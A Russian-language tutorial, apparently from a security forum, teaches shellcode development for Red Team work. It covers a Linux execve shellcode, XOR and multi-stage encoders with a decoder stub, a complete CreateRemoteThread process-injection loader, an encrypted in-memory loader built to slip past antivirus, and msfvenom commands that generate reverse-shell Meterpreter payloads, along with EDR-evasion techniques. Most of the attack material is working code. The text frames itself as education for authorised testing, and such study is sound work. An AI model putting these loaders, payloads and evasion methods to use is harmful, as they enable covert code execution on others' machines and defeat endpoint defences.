Когда я впервые руками собирал шеллкод на NASM и смотрел в x64dbg, как мои байты выполняются в памяти чужого процесса - exploit development перестал быть абстракцией из книжек. Это был тот момент, когда
\x31\xc0\x50\x68 превратились из мусора в осмысленные инструкции. Написание шеллкода - фундамент, без которого Red Team оператор остаётся пользователем чужих тулз, не понимая, что происходит под капотом.Здесь - весь цикл: от нуля до работающего пейлоада, который обходит сигнатурное детектирование. Конкретные байты, объяснение почему они именно такие, и рабочие примеры для лабораторной среды.Статья записана со слов моего коллеги — практикующего Red Team оператора. Текст составлен от первого лица.
Что такое шеллкод и зачем писать его вручную
Шеллкод - позиционно-независимый код (Position Independent Code, PIC), последовательность машинных инструкций, которая выполняется в контексте уязвимого или целевого процесса. Термин исторически связан с получением shell'а, но сегодня шеллкод может делать что угодно: от запуска калькулятора до полноценного C2-агента.Как описывают Сикорски и Хониг в Practical Malware Analysis - это код, используемый как полезная нагрузка при эксплуатации уязвимости. Cobalt Strike, Metasploit, Empire - у всех есть встроенные генераторы шеллкода. Но понимание внутренней механики даёт принципиально другой уровень.
Зачем писать шеллкод вручную, если есть msfvenom? Три причины:
- Генераторы создают известные сигнатуры - AV/EDR знают байтовые паттерны стандартных пейлоадов наизусть
- Ручной шеллкод позволяет оптимизировать размер под конкретный буфер (иногда у тебя 200 байт и ни байтом больше)
- Кастомный код невозможно детектировать по базе сигнатур - только поведенческим анализом
Написание шеллкода на ассемблере: Linux x86
Начнём с классики - execve("/bin/sh") под Linux x86. Linux использует прямые системные вызовы через прерываниеint 0x80, что делает код минималистичным и понятным. Для первого шеллкода - за глаза.Системные вызовы и регистры
Чтобы вызвать функцию ядра в Linux x86:- Номер системного вызова кладём в EAX
- Аргументы - в EBX, ECX, EDX
- Дёргаем
int 0x80
/usr/include/x86_64-linux-gnu/asm/unistd_32.h. Для execve это 11 (0x0B).Проблема нулевого байта
Первое, что нужно вбить себе в голову при написании шеллкода. Многие функции (strcpy, gets, sprintf) используют нулевой байт\x00 как терминатор строки. Если в шеллкоде встретится \x00 - всё после него будет отброшено. Шеллкод тупо обрежется.Разберём на конкретных байтах. Инструкция
mov eax, 0 в машинном коде - B8 00 00 00 00. Четыре нулевых байта. Это убивает шеллкод. Замена: xor eax, eax - машинный код 31 C0, ноль нулевых байтов, результат тот же.Аналогично:
mov al, 11 вместо mov eax, 11 - работаем с младшим байтом регистра, избегая нулей в старших.Минимальный execve шеллкод
Код:
; execve_sh.nasm - Linux x86 execve("/bin//sh", NULL, NULL)
section .text
global _start
_start:
xor eax, eax ; обнуляем EAX без null-байтов
push eax ; null-терминатор строки в стек
push 0x68732f2f ; "//sh" (двойной слеш - выравнивание до 4 байт)
push 0x6e69622f ; "/bin"
mov ebx, esp ; EBX -> "/bin//sh\0"
xor ecx, ecx ; argv = NULL
xor edx, edx ; envp = NULL
mov al, 0x0b ; syscall number 11 = execve
int 0x80 ; вызов ядра
//sh - двойной слеш нужен, чтобы строка была кратна 4 байтам. Linux спокойно игнорирует лишние слеши в пути: /bin//sh и /bin/sh - одно и то же.Сборка и извлечение байткода:
Bash:
# Компиляция
nasm -f elf32 execve_sh.nasm -o execve_sh.o
ld -m elf_i386 execve_sh.o -o execve_sh
# Извлечение шеллкода из бинарника
objdump -d execve_sh | grep '[0-9a-f]:' | \
grep -v 'file' | \
cut -f2 -d: | cut -f1-6 -d' ' | \
tr -s ' ' | tr '\t' ' ' | \
sed 's/ $//g' | sed 's/ /\\x/g' | \
paste -d '' -s | sed 's/^/"/' | sed 's/$/"/'
Тестирование шеллкода в C-обёртке
C:
// test_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main() {
printf("Shellcode length: %zu bytes\n", sizeof(shellcode) - 1); // sizeof-1: исключаем завершающий null строкового литерала C
int (*ret)() = (int(*)())shellcode;
ret();
}
Bash:
gcc -fno-stack-protector -z execstack -m32 -o test test_shellcode.c
./test
-fno-stack-protector и -z execstack отключают canary и NX-бит соответственно. В реальной эксплуатации эти защиты нужно обходить отдельно - здесь мы тестируем только сам шеллкод.Позиционно-независимый код для Windows
Если в Linux шеллкод напрямую дёргает ядро черезint 0x80 (или syscall для x64), то в Windows всё веселее. Стабильных номеров системных вызовов нет - они меняются между билдами. Шеллкод должен динамически находить адреса нужных WinAPI функций. По сути - сам себе LoadLibrary.Обход через PEB: поиск kernel32.dll
Позиционно-независимый код под Windows начинается с обхода структуры PEB (Process Environment Block) для нахождения базового адреса kernel32.dll:fs:[0x30](x86) илиgs:[0x60](x64) - указатель на PEBPEB->Ldr(смещение 0x0C для x86) - указатель на PEB_LDR_DATALdr->InMemoryOrderModuleList(смещение 0x14 в PEB_LDR_DATA для x86) - связный список загруженных модулей. Каждый элемент - LIST_ENTRY, указывающий на поле InMemoryOrderLinks внутри LDR_DATA_TABLE_ENTRY; базовый адрес модуля (DllBase) находится по смещению +0x10 от этого указателя. Типичный порядок: [0] - исполняемый файл, [1] - ntdll.dll, [2] - kernel32.dll, но на разных билдах Windows 10/11 порядок может отличаться (например, kernelbase.dll вместо kernel32.dll на третьей позиции). Полагаться на фиксированную позицию в списке - путь к граблям. Production-шеллкод должен сравнивать Unicode-строку BaseDllName (смещение +0x24 от указателя InMemoryOrderLinks, что соответствует 0x2C от начала LDR_DATA_TABLE_ENTRY) при обходе списка. Полная цепочка смещений для x86:fs:[0x30]→ PEB,+0x0C→ Ldr,+0x14→ InMemoryOrderModuleList.Flink, далее обход Flink с проверкой имени,+0x10→ DllBase- Перебираем список, сравнивая Unicode-строку BaseDllName каждого элемента с
kernel32.dll(не зависимо от регистра), пока не найдём совпадение. Псевдокод:entry = Flink; while (entry) { name = [I](entry + 0x24); if unicode_cmp(name, "kernel32.dll") == 0: base = [/I](entry + 0x10); break; entry = entry->Flink; }
Резолвинг функций через Export Table
Найдя kernel32.dll, парсим её
Ссылка скрыта от гостей
, чтобы вытащить адрес нужной функции (WinExec, LoadLibraryA и т.д.). Алгоритм:- Читаем PE-заголовок DLL
- Находим Export Directory через DataDirectory
- Перебираем массив AddressOfNames, хешируя каждое имя
- Сравниваем хеш с заранее вычисленным значением целевой функции
- По совпадению берём адрес из AddressOfFunctions
Код:
; Хеш-функция ROR13 для имени API
; Вход: ESI -> строка имени
; Выход: EDX = хеш
compute_hash:
xor edx, edx
.hash_loop:
lodsb ; загружаем байт из [ESI] в AL
test al, al ; проверяем конец строки
jz .hash_done
ror edx, 0x0d ; ротация вправо на 13 бит
add edx, eax
jmp .hash_loop
.hash_done:
ret
0x0E8AFE98, LoadLibraryA = 0xEC0E4E8E. Показанная выше функция compute_hash хеширует только имя функции - для неё значения будут другими (чистый ROR13 от «WinExec» = 0x876F8B31). Для полноценного резолвинга нужно суммировать хеши модуля и функции. Эти значения предварительно вычисляются и вшиваются в шеллкод.Кодирование шеллкода и обфускация
Даже кастомный шеллкод может содержать характерные паттерны - последовательности PEB-обхода, вызовы VirtualAlloc. Кодирование шеллкода трансформирует байты, делая их нераспознаваемыми для сигнатурного анализа. По сути - красивый фантик поверх начинки.XOR-кодирование: базовый уровень
Простейший энкодер - XOR каждого байта с ключом. Декодер перед исполнением восстанавливает оригинальные байты:
Python:
# xor_encoder.py - пример для демонстрации концепции
import sys
shellcode = bytearray(
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
b"\xc9\x31\xd2\xb0\x0b\xcd\x80"
)
# Автоподбор ключа, не создающего null-байтов
def find_xor_key(sc):
for candidate in range(0x01, 0x100):
if all((b ^ candidate) != 0x00 for b in sc):
return candidate
return None
KEY = find_xor_key(shellcode)
if KEY is None:
print("[!] No suitable single-byte XOR key found")
sys.exit(1)
print(f"[+] Selected XOR key: 0x{KEY:02x}")
encoded = bytearray(b ^ KEY for b in shellcode)
print("Encoded shellcode:")
print(",".join(f"0x{b:02x}" for b in encoded))
print(f"Length: {len(encoded)} bytes")
\x00. Решение - многоступенчатое кодирование.Многоступенчатое кодирование
По данным ired.team, эффективная схема использует цепочку операций - по типу матрёшки:- XOR с
0x55 - Инкремент на 1
- XOR с
0x11
- XOR с
0x11 - Декремент на 1
- XOR с
0x55
Код:
; decoder_stub.nasm - декодер-стаб для многоступенчатого кодирования
section .text
global _start
_start:
jmp short get_shellcode ; JMP-CALL-POP для получения адреса шеллкода
decoder:
pop esi ; ESI = адрес закодированного шеллкода
xor ecx, ecx
mov cl, 23 ; размер шеллкода (23 байта для execve примера)
decode_loop:
mov al, byte [esi]
xor al, 0x11 ; шаг 3 в обратном порядке
dec al ; шаг 2 в обратном порядке
xor al, 0x55 ; шаг 1 в обратном порядке
mov byte [esi], al
inc esi
loop decode_loop
jmp short encoded_shellcode ; передаём управление декодированному коду
get_shellcode:
call decoder ; CALL кладёт адрес следующей инструкции в стек
encoded_shellcode:
; Закодированные байты (XOR 0x55, INC, XOR 0x11 от execve шеллкода)
; Генерация: for b in shellcode: encoded = ((b ^ 0x55) + 1) ^ 0x11
db 0x74,0x84,0x14,0x2c,0x6b,0x6b,0x37,0x2c
db 0x2c,0x6b,0x27,0x2c,0x2a,0xcd,0xa7,0x74
db 0x8d,0x74,0x96,0xf4,0x4f,0x89,0xc4
Декодер-стаб модифицирует байты на месте (in-place), поэтому память должна иметь права на запись и исполнение (W+X). При эксплуатации через переполнение буфера на стеке с
-z execstack или при размещении в VirtualAlloc(RWX) памяти - это выполняется. При компиляции как standalone бинарника используйте флаг линкера ld -N для writable text section.Shikata_ga_nai и его детектирование
Кодировщик shikata_ga_nai из Metasploit - полиморфный XOR с обратной связью. Каждый следующий байт кодируется с учётом предыдущего, а декодер-стаб генерируется с рандомными регистрами и порядком инструкций. Звучит круто, но современные EDR детектируют его по поведению: самомодифицирующийся код в памяти - сильный индикатор. Обычно я в реальных операциях использую кастомные энкодеры с уникальной схемой. Shikata - для CTF и лабораторок, не для продакшена.Инъекция шеллкода: техники для Red Team
Написать шеллкод - половина дела. Вторая половина - доставить его в память целевого процесса и выполнить. Это область
Ссылка скрыта от гостей
(T1055 по MITRE ATT&CK, тактики Defense Evasion и Privilege Escalation).CreateRemoteThread: классика
Самый прямолинейный метод shellcode injection. Последовательность вызовов WinAPI:- OpenProcess - получаем хэндл целевого процесса
- VirtualAllocEx - выделяем память в адресном пространстве цели
- WriteProcessMemory - записываем шеллкод в выделенную память
- VirtualProtectEx - меняем права на PAGE_EXECUTE_READ (избегаем RWX - это красная тряпка для EDR)
- CreateRemoteThread - создаём поток с точкой входа на наш шеллкод
C++:
// shellcode_loader.cpp - CreateRemoteThread injection
// Компиляция: cl.exe /EHsc shellcode_loader.cpp
#include <Windows.h>
#include <stdio.h>
// Шеллкод - заменить на свой пейлоад
unsigned char shellcode[] = "\xcc"; // INT3 для отладки
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: loader.exe <PID>\n");
return 1;
}
DWORD pid = atoi(argv[1]);
// Шаг 1: открываем процесс
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, FALSE, pid
);
if (!hProcess) {
printf("[!] OpenProcess failed: %ld\n", GetLastError());
return 1;
}
printf("[+] Handle to PID %ld: 0x%p\n", pid, hProcess);
// Шаг 2: выделяем память
LPVOID remoteBuffer = VirtualAllocEx(
hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
if (!remoteBuffer) {
printf("[!] VirtualAllocEx failed: %ld\n", GetLastError());
return 1;
}
printf("[+] Allocated memory at: 0x%p\n", remoteBuffer);
// Шаг 3: записываем шеллкод
WriteProcessMemory(
hProcess, remoteBuffer, shellcode,
sizeof(shellcode), NULL
);
// Шаг 4: меняем права на исполняемые
DWORD oldProtect;
VirtualProtectEx(
hProcess, remoteBuffer, sizeof(shellcode),
PAGE_EXECUTE_READ, &oldProtect
);
// Шаг 5: создаём удалённый поток
DWORD threadId;
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL, 0, &threadId
);
printf("[+] Thread created, TID: %ld\n", threadId);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Process Hollowing: замена содержимого процесса
Process Hollowing создаёт легитимный процесс в suspended-состоянии, вычищает его секцию кода и подменяет шеллкодом:- CreateProcess с флагом CREATE_SUSPENDED
- NtUnmapViewOfSection - убираем оригинальный код
- VirtualAllocEx + WriteProcessMemory - пишем свой
- SetThreadContext - перенаправляем EIP/RIP
- ResumeThread - запускаем
Early Bird APC Injection
Эта техника использует механизм
Ссылка скрыта от гостей
(APC):- CreateProcess с CREATE_SUSPENDED
- VirtualAllocEx + WriteProcessMemory в созданный процесс
- QueueUserAPC - ставим наш код в очередь APC основного потока
- ResumeThread - при возобновлении поток выполнит APC до своего основного кода
Threadless Injection: современный подход
По данным исследователей из Avantguard, Threadless Injection - одна из наиболее продвинутых техник, которая до сих пор отсутствует в явном виде в MITRE ATT&CK.Суть: вместо создания нового потока атакующий хукает существующую функцию в целевом процессе. Когда процесс естественным образом вызывает эту функцию - выполняется наш шеллкод.
Метод, продемонстрированный Ceri Coburn, работает через remote function hooking: перезаписывается функция вроде
NtWaitForSingleObject из NTDLL.dll, которая вызывается регулярно. Целевой процесс сам выполняет пейлоад в контексте уже существующего потока.Что это даёт:
- API-цепочка короче - нет CreateRemoteThread
- Выполнение идёт в контексте легитимного потока
- Обнаружение требует ручного thread hunting в EDR
Shellcode loader: разработка для обхода антивируса
Голый шеллкод не запустится сам - ему нужен загрузчик (loader). Качество лоадера определяет, пройдёт ли пейлоад мимо защитных решений.Стратегия обхода сигнатурного детектирования
Ключевой принцип shellcode bypass антивируса: разделение хранения и исполнения. Шеллкод хранится зашифрованным и расшифровывается только в памяти, непосредственно перед выполнением. На диске - мусор, в памяти - рабочий код. Окно между расшифровкой и выполнением - минимальное.Практический подход:
C:
// encrypted_loader.c - пример для демонстрации концепции
#include <Windows.h>
#include <stdio.h>
// Зашифрованный шеллкод (XOR с ключом 0xDA)
unsigned char enc_shellcode[] = { /* зашифрованные байты */ };
size_t sc_len = sizeof(enc_shellcode);
void decrypt(unsigned char* data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
int main() {
// Расшифровка в памяти
decrypt(enc_shellcode, sc_len, 0xDA);
// Выделяем RW-память (не RWX сразу - это индикатор)
LPVOID exec_mem = VirtualAlloc(
NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Копируем расшифрованный шеллкод
memcpy(exec_mem, enc_shellcode, sc_len);
// Меняем права на RX (не RWX)
DWORD oldProtect;
VirtualProtect(exec_mem, sc_len, PAGE_EXECUTE_READ, &oldProtect);
// Выполняем через callback
EnumDesktopsA(
GetProcessWindowStation(),
(DESKTOPENUMPROCA)exec_mem,
0
);
return 0;
}
- PAGE_READWRITE → PAGE_EXECUTE_READ: сначала пишем в RW, потом переключаем на RX. Аллокация RWX сразу - жирный индикатор
- Callback вместо прямого вызова: EnumDesktopsA принимает указатель на функцию - легитимный WinAPI-паттерн, менее подозрительный чем CreateThread
- Расшифровка непосредственно перед копированием: минимизируем время, когда открытый шеллкод лежит в памяти
Проблема Unbacked Memory
По данным Avantguard, после инъекции шеллкод выполняется из области памяти, не связанной с файлом на диске. В отладчике такие регионы помечены какPRV (Private) - это Unbacked Memory. Исполняемая Unbacked Memory - классический IOC (индикатор компрометации).Решение - Module Stomping: загружаем легитимную DLL в процесс, затем перезаписываем её секцию кода нашим шеллкодом. Память остаётся Backed (привязанной к файлу), что снимает этот IOC.
Техника Caro-Kann, описанная Fabian Mosch, добавляет ещё один уровень: пейлоад доставляется зашифрованным, а декодер-стаб ждёт несколько секунд перед расшифровкой. Если EDR проверяет память сразу после создания потока - он видит только зашифрованный мусор. Хитро.
Генерация шеллкода с помощью msfvenom
Для типовых задач нет смысла писать шеллкод с нуля - msfvenom из Metasploit Framework генерирует рабочие пейлоады в нужном формате. Потренировавшись на ручном написании и поняв механику, можно спокойно пользоваться генератором.Генерация staged и stageless Meterpreter shellcode:
Bash:
# Stageless reverse_tcp шеллкод для Windows x64
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.0.0.5 LPORT=443 \
-f raw -o meterp_stageless.bin
# Staged - компактнее, но требует сетевого подключения для загрузки стейджа
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=443 \
-f raw -o meterp_staged.bin
# С кодированием (XOR dynamic)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=443 \
-e x64/xor_dynamic \
-f c -o encoded_meterp.c
# Примечание: одиночное кодирование msfvenom-энкодерами не обходит современные AV/EDR
# Вывод в формате C-массива для вставки в loader
msfvenom -p windows/x64/exec CMD=calc.exe \
-f c -v shellcode
| Параметр | Staged (stager) | Stageless |
|---|---|---|
| Размер | 300-500 байт | 200+ КБ |
| Зависимость от сети | Требует подключение к C2 | Автономный |
| Детектирование | Легче обфусцировать (малый размер) | Больше сигнатур |
| Надёжность | Если C2 недоступен - шеллкод бесполезен | Работает автономно |
В статье Picus Security описан подход, когда stageless Meterpreter генерируется через msfvenom и затем загружается целевой системой по зашифрованному URL - сочетание преимуществ обоих вариантов.
Практический блок: от написания до выполнения
Полный цикл шаг за шагом.
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Сравнение техник инъекции шеллкода
| Техника | Сложность реализации | Скрытность | Детектирование EDR | Универсальность |
|---|---|---|---|---|
| CreateRemoteThread | Низкая | Низкая | Тривиальное | Высокая |
| Process Hollowing | Средняя | Средняя | Среднее | Высокая |
| Early Bird APC | Средняя | Высокая | Среднее | Средняя |
| Threadless Injection | Высокая | Очень высокая | Сложное | Высокая |
| Module Stomping | Высокая | Очень высокая | Сложное | Средняя |
Мой совет: начинайте с CreateRemoteThread - чтобы понять механику на уровне API. Затем переходите к APC injection. И только потом беритесь за Threadless Injection, которая требует понимания того, как работает перехват функций на уровне байтов. Перескакивать через ступени - гарантированный способ запутаться.
Отладка шеллкода: инструменты и приёмы
Шеллкод неизбежно содержит баги. Мой рабочий набор для отладки:- x64dbg / x32dbg - основной отладчик под Windows. Точки останова, пошаговое исполнение, просмотр памяти в реальном времени
- WinDbg - для анализа kernel-режима и crash dump-ов. Зверь тяжёлый, но когда нужен - ничем не заменишь
- GDB с плагином PEDA/PwnDBG - под Linux. Команда
x/20i $eipпоказывает 20 инструкций от текущего указателя - Procmon - мониторинг файловых и реестровых операций процесса
- PE-bear - анализ PE-заголовков загруженных модулей
\xCC (INT3) в начало шеллкода. Это software breakpoint - при выполнении отладчик перехватит управление именно в этой точке, и можно пошагово пройти весь код.
Код:
; Отладочная версия шеллкода
_start:
int3 ; 0xCC - breakpoint для отладчика
; ... основной код шеллкода ...
\xCC из финальной версии. На одном проекте я потратил полчаса, пытаясь понять, почему пейлоад крашится - оказалось, забыл убрать отладочный INT3. Классика.Заключение
Разработка шеллкода - навык, который превращает пентестера из пользователя инструментов в инженера. Когда понимаешь, как байты превращаются в действия на уровне процессора, можно создавать пейлоады, невидимые для сигнатурных движков. Но не стоит обольщаться: поведенческий анализ, memory scanning и EDR-телеметрия никуда не делись и работают.Начните с Linux x86 - самая простая среда для первого шеллкода. Освойте системные вызовы, научитесь избавляться от null-байтов, напишите свой первый XOR-энкодер. Потом переходите к Windows - PEB walking, Export Table parsing, динамическое разрешение API. И только после этого беритесь за инъекцию и обход EDR.
Возьмите execve-шеллкод из этой статьи, скомпилируйте, загрузите в x64dbg (или GDB) и пройдите пошагово. Посмотрите, как
xor eax, eax обнуляет регистр, как push кладёт строку на стек, как int 0x80 передаёт управление ядру. Когда увидите это своими глазами - всё встанет на место.Весь код из статьи предназначен исключительно для авторизованных тестирований на проникновение и образовательных целей.
Последнее редактирование: